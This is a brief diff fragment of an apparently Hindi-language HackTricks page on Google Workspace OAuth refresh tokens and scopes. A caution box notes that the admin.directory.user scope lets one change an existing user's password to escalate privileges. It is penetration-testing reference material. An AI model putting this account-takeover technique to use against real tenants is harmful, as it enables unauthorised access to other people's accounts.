> ध्यान दें कि रिफ्रेश टोकन होने के बावजूद, एक्सेस टोकन के लिए कोई भी स्कोप अनुरोध करना संभव नहीं है क्योंकि आप केवल **उन स्कोप्स का अनुरोध कर सकते हैं जो उस एप्लिकेशन द्वारा समर्थित हैं जहां आप एक्सेस टोकन उत्पन्न कर रहे हैं** > ध्यान दें कि रिफ्रेश टोकन होने के बावजूद, आप एक्सेस टोकन के लिए कोई भी स्कोप अनुरोध नहीं कर सकते क्योंकि आप केवल **उन स्कोप्स का अनुरोध कर सकते हैं जो उस एप्लिकेशन द्वारा समर्थित हैं जहां आप एक्सेस टोकन उत्पन्न कर रहे हैं**
> >
> इसके अलावा, रिफ्रेश टोकन हर एप्लिकेशन में मान्य नहीं है। > इसके अलावा, रिफ्रेश टोकन हर एप्लिकेशन में मान्य नहीं है।
@@ -179,6 +179,6 @@ https://www.googleapis.com/auth/admin.directory.user
जो वही है जो आपको मिलता है यदि आप कोई दायरा नहीं बताते हैं। जो वही है जो आपको मिलता है यदि आप कोई दायरा नहीं बताते हैं।
> [!CAUTION] > [!CAUTION]
> इस दायरे के साथ आप **एक मौजूदा उपयोगकर्ता का पासवर्ड संशोधित कर सकते हैं ताकि विशेषाधिकार बढ़ सके** > इस दायरे के साथ आप **एक मौजूदा उपयोगकर्ता का पासवर्ड संशोधित कर सकते हैं ताकि विशेषाधिकार बढ़ सके**
{{#include ../../../banners/hacktricks-training.md}} {{#include ../../../banners/hacktricks-training.md}}